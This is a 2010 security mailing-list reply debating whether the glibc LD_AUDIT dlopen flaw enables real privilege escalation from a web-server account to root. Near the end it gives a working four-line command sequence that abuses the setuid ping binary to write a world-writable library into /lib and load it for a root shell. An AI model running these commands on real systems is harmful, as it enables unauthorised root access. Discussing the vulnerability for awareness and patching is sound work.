Re: Privilege scalation with GNU ld dlopen

[Xavi Garcia <xavi.garcia () gmail com>]

2010/11/10 Mike Patterson <mike () snowcrash ca>

> On 10-11-09 11:19 AM, Xavier Garcia wrote:
> > One should be safe because users need admin rights to write
> > there, but playing with setuid binaries is always dangerous.
>
> Well, sure.  But I think Nicholas' point was that your escalation ...
> isn't really such, given that on any unixy system, you need to go to
> great lengths to allow normal users to write to /lib.  If I can write to
> /lib in order to implement your answer to "how do I escalate privileges
> with Tavis' exploit," I think that system already has a serious issue,
> one that goes beyond "it's got a vulnerable version of glibc installed."

I think there was a misunderstanding. I said escalation because and
attacker could gain access via a web application, with Apache rights,
and end up with root privileges. An unprivileged user cannot write in /lib
because only root can. I said it is safe because it should not
happen in any Unix system.

All that is being used is a vulnerability  that allows an unprivileged user
to execute code with root permissions, even though it is really
restricted to the libraries initially installed in the system.

The only problem in the system was a missing patch. The user
can write to /lib because it is using a vulnerability to write there
with root privileges. We are talking about a computer with a standard
installation.



> > This could be enforced by implementing a 'secure level' in the
> > kernel, but then the maintenance of the system could be a
> > nightmare. Imagine having to reboot a critical server just
> > because the 'secure level' must be desabled in order to
> > install patches :)
I don't just imagine it, I've done it.  If that's what it takes, then
> that's what it takes.  Your definition of critical may vary from mine
> though, and mine was the FreeBSD implementation, so I could install
> _some_ patches without rebooting.


I just wanted to be ironic there, sorry. Of course it can be done, but I was
talking about the average lazy IT department or IT company. People just drop
a box with the standard configuration and then forget. They just want to do
the minimum work.





> Your point about playing with setuid binaries is dangerous is well
> taken, but I'm not sure that I see how it applies given your proposed
> solution.  Putting yourself into a situation where normal users can
> write to /lib is significantly more dangerous.


Only root can write there...  I use the vulnerability to create
/lib/libevil.so
with  666 as permissions and root as owner. The admin that permits
a world writeable /lib is more than incompetent.

umask 0
# creates a file as root with 666 permissions (umask 0)
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/lib/libevil.so" ping
# load the contents of the library. /lib is just a quick and dirty example
cat ./libevil.so > /lib/libevil.so
# the constructor in the library is executed and drops a shell
LD_AUDIT="libevil.so" ping


Regards,

Xavier Garcia


> Mike
> _______________________________________________
> Pauldotcom mailing list
> Pauldotcom () mail pauldotcom com
> http://mail.pauldotcom.com/cgi-bin/mailman/listinfo/pauldotcom
> Main Web Site: http://pauldotcom.com
_______________________________________________
Pauldotcom mailing list
Pauldotcom () mail pauldotcom com
http://mail.pauldotcom.com/cgi-bin/mailman/listinfo/pauldotcom
Main Web Site: http://pauldotcom.com